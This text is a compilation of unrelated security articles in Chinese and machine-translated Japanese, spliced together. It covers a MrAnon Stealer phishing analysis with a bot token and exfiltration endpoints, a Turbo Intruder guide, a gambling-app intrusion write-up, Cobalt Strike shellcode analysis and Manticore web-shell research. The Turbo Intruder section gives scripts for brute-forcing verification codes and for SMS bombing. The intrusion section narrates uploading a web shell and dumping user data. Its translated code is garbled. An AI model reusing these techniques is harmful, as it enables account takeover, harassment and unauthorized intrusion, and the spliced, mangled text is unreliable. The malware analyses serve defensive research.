在這裡(https://app.any.run/tasks/eda5aee1-8231-4024-ae83-51fd29f585e2/?utm_source=thehackernewsutm_medium=articleutm_campaign=howtoanalynetworktrafficutm_content=sampleutm_term=13122023),一旦主機IP地址被上傳到了沙箱,Xworm就立即核查該IP地址。然而,由於虛擬機有一個住宅代理,惡意軟件繼續執行,並連接到其指揮和控制服務器。

FortiGuard實驗室最近發現了一個電子郵件釣魚活動,利用欺騙性的預訂信息引誘受害者點擊惡意PDF文件。 PDF下載了一個用PowerGUI創建的.NET可執行文件,然後運行PowerShell腳本來獲取最終的惡意軟件,稱為MrAnon Stealer。

該惡意軟件是一個基於Python的信息竊取程序,使用cx Freeze壓縮以逃避檢測。 MrAnon Stealer竊取受害者的憑據、系統信息、瀏覽器會話和加密貨幣擴展,攻擊流程如下所示。

1.png

攻擊流

下載網址主要在德國被查詢,這表明它是攻擊的主要目標。這個URL的查詢數量在2023年11月顯著上升,該活動在該月異常活躍和激進。在本文中,我們將詳細介紹該惡意軟件在每個階段的行為。

2.png

初始感染載體:Booking.pdf

攻擊者偽裝成一家希望預訂酒店房間的公司,發送主題為“12月房間可用性查詢”的網絡釣魚電子郵件。該網站包含假日期間虛假的酒店預訂信息,附加的惡意PDF文件有一個下載鏈接隱藏在對像中。其解碼後的數據如下:

3.png

網絡釣魚郵件

4.png

惡意PDF文件

.NET可執行文件:adobe.exe通過“Loader”類中的字符串,可以發現惡意軟件使用了PowerShell腳本編輯器,該編輯器將PowerShell腳本轉換為微軟可執行文件。

5.png

反編譯的Exec()函數

在檢查下圖所示的.NET可執行文件後,我們發現它利用ScriptRunner.dll提取“Scripts.zip”以獲得一個PowerShell腳本。解壓後的文件存放在以下位置:

“%USERPROFILE%\AppData\Local\Temp\QuestSoftware\PowerGUI”

這個.NETMicrosoft Windows可執行文件的唯一任務是解壓縮名為“down2”的嵌入式腳本,並使用PowerShell.exe執行它。打包的文件和PowerShell配置位於文件的資源部分,如下圖所示。

6.png

加載PowerShell腳本的ScriptRunner.dll

7.png

惡意軟件的資源部分

PowerShell腳本:down2.ps1該腳本啟動Windows窗體的加載並配置其設置,包括窗體、標籤和進度條。此外,它在後續腳本的執行中定義了文本,以消除用戶的疑慮。

8.png

Create Windows表單

在'Form Load event'部分中,腳本從相同的域“anonbin[.]ir”中檢索有效負載,並解壓縮臨時文件夾中的文件。然後,它在zip歸檔中定位執行文件,並使用“Start-Process”執行。在這種狀態下,會顯示一個名為“File Not Supported”的窗口,並伴有一條指示“Not Run: python.exe.”的狀態消息。這種欺騙性的演示旨在誤導用戶,使其相信惡意軟件尚未成功執行。下圖顯示了惡意軟件執行過程中的窗口和進度條。

9.png

Form Load事件部分

10.png

執行python.exe期間顯示的進度窗口

Cx_Freeze打包文件:python.exe壓縮文件“Ads-Pro-V6-Free-Trail (1).zip”包含多個文件。下圖顯示了解壓文件夾的內容。在此文件夾中,兩個DLL文件作為乾淨的組件,以方便“Python .exe”進程加載額外的Python代碼。下圖展示了“Python .exe”中的WinMain函數,清楚地表明這不是一個合法的Python可執行文件。

11.png

Ads-Pro-V6-Free-Trail (1).zip中的文件

12.png

python.exe中的WinMain

跟踪初始調用可以發現執行文件源自cx_Freeze工具。然後,腳本搜索目錄“\lib\library.zip”,並使用“PyObject_CallObject”調用惡意Python代碼。

13.png

檢查目錄\\lib\\library.zip

14.png

調用Python主代碼

下圖顯示了“library.zip”中的文件。值得注意的是,與合法文件相比,“cstgversion_main__.pyc”由於其獨特的創建時間而脫穎而出。此特定文件包含負責數據盜竊的主要函數。

15.png

library.zip中的文件

MrAnon Stealer首先,惡意軟件會驗證系統上是否存在以下進程,如果存在則會終止它們:

“ArmoryQt.exe”,“AtomicWallet.exe”,“brave.exe”,“bytecoin-gui.exe”,“chrome.exe”,“Coinomi.exe”,“Discord.exe”,“DiscordCanary.exe”,“Element.exe”,“Exodus.exe”,“firefox.exe”,“Guarda.exe”,“KeePassXC.exe”,“NordVPN.exe”,“OpenVPNCo nnect.exe”,“seamonkey.exe”,“Signal.exe”,“Telegram.exe”,“filezilla.exe”,“filezilla-server-gui.exe”,“keepassxc-proxy.exe”,“msedge.exe”,“nordvpn-service.exe”,“opera.exe”,“steam.exe”,“walletd.exe”,“waterfox.exe”,“yandex.exe”

然後使用“ImageGrab”抓取截圖,保存文件名為“Screenshot (Username ).png.”,此外,它還與“api.ipify.org”和“geolocation-db.com/jsonp”等合法網站建立連接,以檢索系統的IP地址、國家名稱和國家代碼。它還從下列來源收集資料:

瀏覽器數據:7Star、Amigoz、Bravez、Cent Browser、Chrome Canary、Epic Privacy Browser、Google Chrome、Iridium、Kometa、Microsoft Edge、Opera、Opera GX、Orbitum、Sputnik、Torch、Uran、Vivaldi、Yandex、Firefox、Pale Moon、SeaMonkey和Waterfox。

桌面錢包:Bytecoin Wallet, Guarda, Atomic Wallet, Coinomi Wallet, Bitcoin Armory和Exodus.

瀏覽器擴展:

17.jpg

即時通信:Discord, Discord Canary, Element, Signal, Telegram Desktop。

VPN客戶端:NordVPN、ProtonVPN和OpenVPN Connect。

Browser Wallet:

18.1.jpg

18.2.jpg

18.3.jpg

18.4.jpg

18.5.jpg

其他:FileZilla和FileZilla Server。

遊戲:Steam。

文件:它掃描這些目錄:Desktop, Documents, Downloads, Pictures, and grabs specific files with following extensions: “.7z,” “.bmp,” “.conf,” “.csv,” “.dat,” “.db,” “.doc,” “.jpeg,” “.jpg,” “.kdbx,” “.key,” “.odt,” “.ovpn,” “.pdf,” “.png,” “.rar,” “.rdp,” “.rtf,” “.sql,” “.tar,” “.txt,” “.wallet,” “.xls,” “.xlsx,” “.xml,” and “.zip.”

接下來,它壓縮被盜數據,用密碼保護數據,並將文件名指定為“Log(Username).zip”。壓縮後的文件將使用URL上傳到公共文件共享網站hxxps://store1[.]gofile[.]io/uploadFile。最後,它將下載鏈接和系統信息附加到一條消息中,該消息使用bot令牌6799784870:AAHEU6EUdnAjRcH8Qq0TCokNtVJSL06VmbU發送到攻擊者的Telegram頻道。

18.png

Telegram消息中的被盜數據

19.png

zip文件

MrAnon Stealer的支持通道如下圖所示。該支持渠道推廣其產品,提供增強的功能,並在“hxxp[:]//anoncrypter[.]com”上為所有相關工具提供購買頁面

20.png

MrAnon Stealer的telegram頻道

21.png

MrAnon Tools的網站

攻擊者在今年早些時候建立了網站“anonbin[.]ir”,如下圖所示,並下載了所有相關文件。經過調查,我們發現了7月份使用cx_Freeze的類似打包文件。這些文件始終以基於Python的竊取程序為特徵,由代碼中共享的“HYDRA”標識標識,如下圖所示。

該活動最初在7月和8月傳播Cstealer,但在10月和11月過渡到傳播MrAnon Stealer。這種模式表明了一種戰略方法,即繼續使用釣魚電子郵件來傳播各種基於Python的竊取程序。

22.png

hxxps[:]//anonbin[.]ir的主頁

23.png

七月份惡意軟件的標識

總結該惡意軟件使用PowerGUI和cx-Freeze工具創建一個複雜的過程,涉及.NET可執行文件和PowerShell腳本。攻擊者還使用虛假錯誤消息等技巧來隱藏攻擊活動,從特定域下載並提取文件,以運行有害的Python腳本。該腳本提取乾淨的DLL文件和名為“python.exe”的惡意軟件,用來掩蓋惡意有效負載MrAnon Stealer的加載。它從幾個應用程序中竊取數據和敏感信息,然後將竊取的數據壓縮並上傳到公共文件共享網站和攻擊者的Telegram頻道,用戶應小心網絡釣魚郵件和不清晰的PDF文件。

1。プラグインの紹介

Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。

2。プラグインの原理

最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close)

3。インストール方法

インストールターボインクループラグインBURPスイート1049983-20240322091638266-1772887275.png

iv。使用方法

パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません)

1049983-20240322091639122-1416561383.png

この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。

1049983-20240322091639931-438133108.png

コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。

5。使用シナリオ

1。検証コードブラスト

主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。

検証コードブラスト操作コード:

Itertools Import製品から

def brute_veify_code(ターゲット、エンジン、長さ):

pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト

リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。

code='' .join(i)

Engine.Queue(ターゲット.req、コード)

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します

concurrentConnections=30、#makeサーバーとの30接続

RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト

Pipeline=True #Enable Pipeline(HTTP Pipelining)モード

))

brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー

DEF Handleresponse(REQ、興味深い):

req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します

Table.Add(req)

デモ:

Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします

1049983-20240322091640898-513156876.jpg攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで

1049983-20240322091641780-1235609231.jpg

2。同時テスト

同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。

同時テストの操作コード:

def queuerequests(ターゲット、ワードリスト):

Engine=requestEngine(endpoint=target.endpoint、

concurrentConnections=30、

RequestSperConnection=100、

パイプライン=false

))

範囲のIの場合(30): #Create 30リクエスト。

Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1')

#wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで

Engine.opengate( 'race1')#identify同じ同時テストに属する要求

Engine.comPlete(タイムアウト=60)

DEF Handleresponse(REQ、興味深い):

Table.Add(req)

デモ:このコードは、プラグイン /examples/race.pyでオプションです

1049983-20240322091642585-458205074.jpg同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。1049983-20240322091643315-442669725.jpgツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。1049983-20240322091644226-1882842261.jpg 1049983-20240322091644975-1755280813.jpg

3.SMS爆撃

検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py

1049983-20240322091642585-458205074.jpg 1049983-20240322091647807-1201234456.jpg同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。1049983-20240322091648484-1597882403.jpg

0x01準備ツールこの浸透は、主にAndroidアプリを対象としています。ほうれん草アプリのバックエンドサーバーは海外であり、プラットフォームには多くの違法なギャンブル関連のミニギャンブルゲームが含まれています。

图片

1. Thunderbolt Androidエミュレーター。ギャンブルWebサイトのインストールプログラムを実行するために使用されます。

2。パケットキャプチャツールフィドラー(またはバープスーツ、ワイレシャーク)を使用して、トラフィックパケットをキャッチしてウェブサイトのバックエンドサーバーアドレスを見つけます。

3。Sublist3r、中国のアリの剣、その他の従来の浸透ツール。

0x02情報収集1。サーバーアドレスを見つけます。ネットワークほうれん草アプリのサーバーアドレスのトラフィックパケットキャプチャ分析。 Fiddlerを使用してAndroidエミュレータートラフィックをつかみ、分析を通じてアプリバックエンドWebサイトアドレスを取得します:http://****。com。また、BPまたはWiresharkツールを使用してパッケージをキャッチすることもできます。また、多くのオンラインチュートリアルがあります。

图片

ドメイン名「****。com」はパケットキャプチャにあり、ターゲットサーバーIPアドレスが見つかりました:x.x.x.x.x.

图片

2。サブドメイン名を取得します。

sublist3r.pyを使用してドメイン名を収集します。

python sublist3r.py -d xxx.com -o 1.txtいくつかのサブドメインが見つかりましたが、テストではブレークスルーは見つかりませんでした

0x03浸透プロセス1。HTML5ページを登録してログインして検出します。アプリページに登録してログインし、アドレスをクロールし、クロールをアドレスに持ち込み、ブラウザにログインします。アプリページは純粋なHTML5ページであることがわかりました。これにより、ブラウザで動作する方が便利です。

图片

2。フロントデスクアカウントの注入は失敗しました。テスト番号を使用して登録し、パッケージをつかんでパッケージを変更します。注入点を見つけますが、注入は失敗しました。

图片

3.登録されたユーザーにログインして、アップロードの脆弱性を見つけます。ユーザーブラウジング機能には、個人センターにIDレビュー機能があります。ユーザー情報を確認するには、ID情報をアップロードする必要があります。このアップロード関数は、トロイの木馬のアップロードポイントを隠すことができると推測されます。

图片

4.ファズテストをアップロードした後、バックエンドプログラムはMIMEおよびファイルヘッダーのコンテンツのみを検証します。ファイルタイプのバイパスメソッドを変更し、Picture Horseを直接アップロードしてMIMEタイプを変更し、それを正常にアップロードしてシェルアドレスを取得します。

图片

5.「中国のアリの剣」を使用して、トロイの木馬に正常に接続し、サーバーWebサイトのソースコードでデータベース構成ファイルを分析して見つけ、データベースに正常に接続することです。

图片

6.チャイニーズアリの剣を使用してデータベースに正常に接続し、アカウントとパスワードのハッシュ値を取得します。

图片

7.ファイルディレクトリ構造分析を介して、背景は単一のエントリファイルであり、パラメーターs=管理者は背景に正常にジャンプし、データベースを介してバックエンドアカウントのハッシュ値を復号化し、バックグラウンドに正常にログインします。

图片

管理者のバックエンド許可を取得することにより、同じ日にウェブサイト上の登録ユーザーの数を把握でき、ギャンブルのオッズの数は86でしたが、資本の流れは542,000元でした。管理者ログインログの観点から、メインのログインIPはフィリピン、香港、広州、ベトナムおよびその他の場所で配布されています。

图片

ユーザーログインログレコードとデータには、ユーザーのID、ログインIP、携帯電話番号、ログイン時間、その他の情報が含まれます。

图片

ユーザーベットの記録、データにはメンバーID、賭け金額、累積レベルギフトなどが含まれます。

图片

0x04ホール掘削方法の概要1。注入を見つけて、データベースユーザーの権限とサイトライブラリが同じサーバーであるかどうかに注意してください。

2。さらなる攻撃のためにバックグラウンドを入力する目的でXSSを見つけます。

3.アップロード、アプリケーションリンク、メンバーアバター、いくつかの機密ページなど、アップロードできるページを見つけて、検証方法をバイパスできるかどうかを確認し、サーバーの解析特性と組み合わせることができるかどうかを確認します。

4.ダウンロードを見つけて、記事の最後にあるWebサイトのダウンロード列または添付ファイルリンクにダウンロードする不正ファイルがあるかどうかをテストします。

5.編集者、典型的なeweditors、fckeditorsなどを見つけます。

6.可能なバックグラウンド管理プログラムを見つけて、パスワードが弱いことを試してみてください

元のリンクから転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485589Idx=1SN=F4F644EA923675C425F1DE9E4E287FB07CHKK SM=CE67A20CF9102B1A1A171041745BD7C243156EAEE575B44444444444D325E2CD2D9F72B2779CF01SCENE=21#WECHAT_REDIRECT

探索Cobalt Strike shellcode是由編譯後的可執行.exe文件加載情況,這將需要使用調試器(x64dbg)和靜態分析(Ghidra)來執行完整的分析。

可執行文件是編譯後的exe,包含隱藏和混淆的Shellcode,使用一個簡單的異或例程和一個4字節的項對shellcode進行解碼,然後將其寫入一個用VirtualAlloc創建的簡單緩衝區。

本文將探索使用調試器獲得解碼的shellcode的方法,然後尋找使用Ghidra手動定位shellcode和相關解密密鑰的方法,還將研究在X64dbg和Ghidra之間切換的方法,以及使用ChatGPT識別和分析Ghidra輸出的方法。

獲取樣本點此下載樣本(pw:infected)。

SHA256:99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd

分析我們可以先把文件保存到一台分析機上然後用感染的密碼解壓縮。從這裡我們還可以創建一個文件名較短的副本。

1.png

由於該文件是已編譯的可執行文件,我們可以嘗試使用調試器對其進行分析。在本文中為x64dbg。

我們可以繼續使用x64dbg打開文件,一直點擊直到到達入口點。

2.png

現在,我們可以繼續在API上創建一些斷點,這些斷點通常(但並不總是)在惡意軟件解包時使用。

我們可以通過運行bp VirtualAlloc和bp VirtualProtect來創建2個斷點。

3.png

創建斷點後,我們可以繼續並允許惡意軟件繼續(F9)。惡意軟件將繼續運行並觸發VirtualAlloc上的斷點。

我們的主要目的是獲取由VirtualAlloc創建的緩衝區,我們可以通過使用Execute Until Return來實現這一點。 “Execute Until Return”將允許VirtualAlloc函數完成,但不允許發生任何進一步的操作。這意味著我們可以很容易地獲得創建的緩衝區的地址。

查看VirtualAlloc創建的內存4.png

在點擊execute之後,返回。我們可以在RAX內部觀察到新創建的緩衝區地址。

我們想繼續監控這個緩衝區的可疑內容和解壓縮的惡意軟件時,可以通過右鍵點擊RAX中包含的地址來開始監控過程。

5.png

現在我們可以選擇Follow in Dump,這將打開左下角窗口中緩衝區的內容。

6.png

通過點擊“Follow In Dump”,我們可以在左下角的窗口中觀察到轉儲的內容。

我們可以在這裡註意到緩衝區是空的,只包含00。

7.png

用硬件斷點監控內存VirtualAlloc已經創建了一個空緩衝區,現在,我們可以通過創建一個硬件斷點來監控這個緩衝區的變化。

硬件斷點可以通過選擇內存轉儲中的第一個字節以及Right Click - Breakpoint - Hardware, Access - Byte來創建。

8.png

這樣我們可以允許惡意軟件繼續執行。可以看到硬件斷點被觸發,在緩衝區的第一部分中包含一個FC字節。前兩篇文章中已經講過FC是shellcode中非常常見的第一個字節。

9.png

此時,我們希望惡意軟件繼續填充緩衝區。

我們可以繼續使用另一個Execute Until Return。這樣緩衝區就會被填滿,我們就可以監控裡面的內容了。

下面我們可以看到填充後的緩衝區。可以看到第一個字節是0xFC,並且在初始字節中有一個wininet字符串,這可能表示shellcode。

10.png

使用反彙編器驗證Shellcode現在我們有了一個合理的假設,即緩衝區包含shellcode,我們可以繼續嘗試使用X64dbg對其進行反彙編。如果我們反彙編代碼並且沒有明顯的錯誤,那麼很有可能正在查看shellcode。

我們可以通過在反彙編器中選擇第一個FC字節和Follow in Disassembler來實現這一點。

11.png

X64dbg現在將嘗試從緩衝區中反彙編字節。

下面,我們可以在頂部的反彙編窗口中觀察到被反彙編的緩衝區。可以發現,似乎沒有明顯的錯誤,並且有有效的函數調用,循環和總體“正常”的指令。

18.png

使用SpeakEasy仿真器進行最終驗證

由於非常懷疑緩衝區包含shellcode,所以我們可以繼續使用Speakeasy來模擬它。

我們也可以用X64dbg實現同樣的事情,但是對於shellcode來說,這是一個更複雜的過程。也可以用X64dbg實現同樣的事情,但是對於shellcode,這也是一個複雜的過程。

要使用speakeasy模擬shellcode,我們首先需要保存它。

我們可以選擇我們的第一個FC字節,右鍵單擊然後Follow in Memory Map。

19.png

現在我們可以將內存緩衝區保存到一個文件中,將文件保存為memdump.bin。

20.png

用Speakeasy模擬未打包的Shellcode

現在將shellcode緩衝區保存到文件memdump.bin中。我們可以繼續使用Speakeasy來模擬shellcode。

我們可以使用speakeasy -t memdump.bin -r -a x64命令來做到這一點:

speakeasy -運行speakeasy工具;

-t -我們要使用哪個文件;

-r - (Raw) -表示我們正在使用shellcode;

-a x64 -表示我們的文件包含64位指令。我們知道這是因為我們使用的是x64dbg而不是x32dbg。

運行此命令後,將成功地模擬shellcode,並向我們提供有關其功能的大量信息。

21.png

Speakeasy輸出顯示了一個C2地址

可以看到對User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2;NET CLR 2.0.50727)\r\n的用戶代理的引用。

如果有可用的代理日誌,這個用戶代理將是查找代理日誌的好地方。

22.png

在Ghidra中查找Shellcode解密函數

在第一次觸發硬件斷點時,主要可執行文件可能位於解密函數的中間。我們可以使用這些信息在Ghidra中查找相同的解密函數。

在Ghidra中查找Shellcode解密函數;

用ChatGPT識別解密例程邏輯;

使用Ghidra識別解密密鑰;

利用熵定位加密shell;

使用Cyberchef執行手動解碼;

使用解密字節查找其他樣本;

使用解密代碼創建Yara Rule 。

MANTICORE的攻擊範圍正在逐步擴大(上)

Web shellManticore部署了多個Web shell,包括之前被間接歸因於OilRig的Web shell,其中一些web shell因其混淆、命名約定和工件而更受關注。與Manticore在過去幾年的攻擊中使用的許多其他web Shell和基於.NET的工具相比,web Shell保留了類和方法模糊以及類似的字符串加密算法,該加密算法與一個字節異或,密鑰從第一個字節或前2個字節派生。

其中一個shell是對開源XML/XSL轉換web shell (XSL Exec shell)進行了嚴重混淆和略微修改的版本。這個web shell還包含兩個混淆的函數,它們返回字符串“~/1.aspx”。這些函數從未被調用過,很可能是其他版本的殘餘,正如我們在Manticore之前使用的工具(如FOXSHELL)中觀察到的那樣:

14.png

FOXSHELL web shell版本中未使用的字符串

攻擊目標根據對最新利用LIONTAIL的分析發現,受害者遍布中東地區。大多數受影響的實體屬於政府、電信、軍事和金融部門,以及IT服務提供商。

至少從2019年開始,Manticore就開始在中東地區活躍。它最初是基於開源的web部署代理,隨著時間的推移演變成一個多樣化和強大的工具集,既利用了自定義編寫的組件,也利用了開源組件。

16.png

Manticore使用的多個惡意軟件版本的代碼和功能演變概述

基於Tunna的Web shell最早的一個與攻擊者活動相關的樣本是基於Tunna的web shell, Tunna是一個開源工具,旨在通過HTTPTunna傳輸任何TCP通信。 Tunna web shell允許從外部連接到遠程主機上的任何服務,包括那些在防火牆上被阻止的服務,因為所有與web shell的外部通信都是通過HTTP完成的。在配置階段,將遠程主機的IP和端口發送給web shell,在很多情況下,主要使用Tunna來代理RDP連接。

該攻擊者使用的web shell的內部版本為Tunna v1.1g (Github上只有1.1a版本)。與開源版本相比,最重要的變化是通過使用預定義的字符串szEncryptionKey對數據進行異或處理並在末尾附加常量字符串K_SUFFIX來加密請求和響應:

17.png

攻擊者使用的“Tunna 1.1g”代理中的加密功能

18.png

Tunna代理對數據的解密和加密

FOXSHELL:XORO版本之後,代碼被重構,失去了與Tunna的相似之處。我們將此版本和所有後續版本都稱為FOXSHELL。下面的類結構在大多數FOXSHELL版本中仍然存在:

19.png

FOXSHELL中的類

所有負責加密流量的功能都轉移到一個單獨的EncryptionModule類中。此類加載一個.NET DLL,該DLL嵌入FOXSHELL主體內的base64編碼字符串中,並調用其加密和解密方法:

20.png

web shell中base64編碼的EncryptionDll

21.png

EncryptionModule類負責加密和解密方法調用

嵌入式加密模塊的名稱是XORO.dll,它的類是Encryption.XORO實現解密和加密方法的方式與基於Tunna的web shell相同,使用相同的硬編碼值:

22.png

XORO.dll中的加密常量和解密函數

所有對web shell的請求也封裝在一個名為Package的類中,該類處理不同的PackageTypes:Data、Config、OK、Dispose或Error。 PackageType是由包的第一個字節定義的,根據包的類型,web shell解析包並應用配置(在配置中指定的遠程計算機上打開一個新的套接字,如果提供的話,應用一個新的EncryptionDll),或者處理現有的套接字,或者如果包是Data類型代理連接:

23.png

FOXSHELL中的包處理

FOXSHELL:Bsae64(非拼寫錯誤)版本這個版本的web shell仍然沒有混淆,它的內部版本在代碼中指定:

24.png

web shell還包含嵌入的默認EncryptionDll。模塊的名稱是Base64.dll,加密類(拼寫錯誤為Bsae64)公開了加密和解密方法。然而,兩者都只是簡單的base64編碼:

24+.png

Base64.dll中的加密和解密方法

雖然這種簡單的編碼可以在web shell本身的代碼中完成,但其他嵌入式dll的存在,如XORO.dll,以及在配置階段提供另一個EncryptionDll的能力,意味著攻擊者更喜歡控制他們在某些環境中默認使用的特定類型的加密。

這個版本中的其他變化是將PackageType配置重命名為RDPconfig,將ConfigPackage重命名為RDPConfigPackage,表明攻擊者專注於代理RDP連接。這些類的代碼保持不變:

25.png

RDP Configuration類

最後,代碼中的另一個條件處理web shell接收非空參數WV-RESET的情況,該參數調用函數關閉代理套接字並向攻擊者發送OK響應:

26.png

“Close proxy” WV-RESET參數

編譯的FOXSHELL除了針對中東之外,這個版本也於2021年5月針對阿爾巴尼亞發起攻擊。通過利用一個面向internet的Microsoft SharePoint服務器,攻擊者部署了ClientBin。在受攻擊服務器上的Aspx來代理外部連接,從而進行橫向攻擊。

在發現的所有樣本中,FOXHELL都被編譯為DLL並嵌入到base64的基本web shell中。編譯後的DLL將加載System.Reflection.Assembly.Load,則調用來自它的ProcessRequest方法。 DLL是用.NET編寫的,其名稱模式為App_Web_

27.png

加載App_Web_*.dll的web shell

App_Web* DLL受到類和方法混淆的影響,所有字符串都使用Base64,第一個字節的異或和AES的組合加密如下:

28.png

inchpublic函數,負責字符串加密,展示了方法和類的混淆

當web shell被編譯成DLL時,它包含初始化存根,這確保web shell偵聽正確的URI。在這種情況下,初始化發生在以下代碼段:

29.png

web shell App_Web_*.dll中的初始化存根

否則,去混淆後:

30.png

這個初始化將FOXSHELL設置為偵聽相對路徑~/1上的請求。研究發現,在涉及LIONTAIL的攻擊的其他web shell中,它是一個未使用的工件。

在內部,DLL具有與以前版本相同的“1.5”版本的FOXSHELL,其中包括用於停止代理的WV-RESET參數和相同的默認Bsae64加密DLL。

基於IIS ServerManager和HTTPListener的獨立後門自2020年年中以來,除了FOXSHELL作為代理流量的手段外,我們還觀察到了一個相當複雜的獨立被動後門,它是用.NET編寫的,旨在部署在IIS服務器上。它被類似於FOXSHELL的技術混淆,並偽裝成System.Drawing.Design.dll。

CC通信SSD後門通過受感染計算機上的HTTP偵聽器設置CC通信。它是通過兩個類實現的:

ServerManager——.NET中System.Web.Administration命名空間的一部分,用於管理和配置Windows服務器上的Internet信息服務(IIS),例如獲取配置、創建、修改或刪除IIS站點、應用程序和應用程序池。

HTTPListener——.NET框架中的一個類,用於創建自定義HTTP服務器,獨立於IIS並基於HTTP API。

ServerManager用於提取IIS服務器託管的網站,並構建要偵聽的URL前綴的HashSet:

31.png

構建URL前綴HashSet的angleoppose_river函數的混亂代碼基於IIS服務器上配置的網站和綁定

本文的惡意軟件示例中配置的唯一相對URI是Temporary_Listen_Addresses。然後惡意軟件使用HttpListener類開始偵聽指定的URL前綴:

32.png

HttpListener啟動代碼

CC命令執行後門程序有幾個功能:使用cmd.exe執行命令,上傳和下載文件,使用指定參數執行進程以及運行其他.NET程序集。

33.png

SDD後門的請求handler

首先,如果POST請求主體包含數據,惡意軟件會對其進行解析,並將消息作為其支持的4個命令之一進行處理。否則,如果請求包含參數Vet,惡意軟件只需從base64中解碼其值,並用cmd/c執行。如果這些都不是真的,那麼惡意軟件會處理心跳機制,如果請求URL包含小寫的字符串wOxhuoSBgpGcnLQZxipa,則惡意軟件會發回UsEPTIkCRUwarKZfRnyjcG13DFA以及200 OK響應。

POST請求中的數據使用Base64和簡單的基於異或處理的加密進行加密:

34.png

命令解密算法

在解密消息的數據後,惡意軟件會按照以下順序對其進行解析:

35.png

處理可能的SDD後門命令類型的開關

由攻擊者命名的命令,包括:

' Command ' -使用指定參數執行進程。在該樣本中,將解析數據以提取進程名稱及其參數;

“Upload”—將文件上傳到受攻擊系統的指定路徑;

“Download”-將指定的文件發送給攻擊者;

“Rundll”-加載程序集並使用指定參數運行它。

響應數據的構建方式與請求相同(返回命令類型、命令名稱和輸出),然後使用與請求相同的基於XOR的算法進行加密。

WINTAPIX驅動程序最近,Fortinet披露了一系列針對中東目標的攻擊,這些攻擊涉及內核模式驅動程序,研究人員將其命名為WINTAPIX。儘管安裝驅動程序的確切感染鏈尚不清楚,但它們僅針對IIS服務器,因為它們使用IIS ServerManager對象。高級執行流程如下:

1.WINTAPIX驅動程序在內核中加載;

2.WINTAPIX驅動程序枚舉用戶模式進程,以查找具有本地系統權限的合適進程;

3.WINTAPIX驅動程序將嵌入的shellcode注入到先前找到的進程中,shellcode是使用開源的Donut項目生成的,這允許創建能夠從內存加載和執行.NET程序集的與位置無關的shellcode。

4.注入的shellcode加載並執行加密的.NET負載。

最後的有效負載除了已經熟悉的類、方法和字符串混淆之外,還使用商業混淆器進行混淆,並且它結合了SDD後門和FOXSHELL代理的功能。為了實現這兩個目標,它偵聽兩組URL前綴,使用ServerManager和HTTPListener,類似於SSD後門。

驅動程序負載中使用的FOXSHELL版本設置為1.7。在這個版本中引入的主要增強是使用掛起EventLog Service線程的已知技術來繞過事件日誌。在驅動程序中硬編碼的默認EncryptionDll是相同的Bsae64.dll,與FOXSHELL 1.5版本相比,核心代理結構還與原來一樣。

36.png

.NET負載中硬編碼的版本

37.png

FOXSHELL 1.7類結構

由於已經提供了對WINTAPIX驅動程序及其版本SRVNET2的廣泛分析,我們只強調它們與其他討論的工具之間的主要重疊部分,它們之間的聯繫如下:

1.與SDD後門相同的代碼庫,包括基於相同字符串值wOxhuoSBgpGcnLQZxipa和UsEPTIkCRUwarKZfRnyjcG13DFA的心跳;

2.支持相同的後門命令類型,使用相同的密鑰進行加密;

3.與FOXSHELL相同的代碼庫、結構和功能;

4.使用相同的混淆和加密方法。

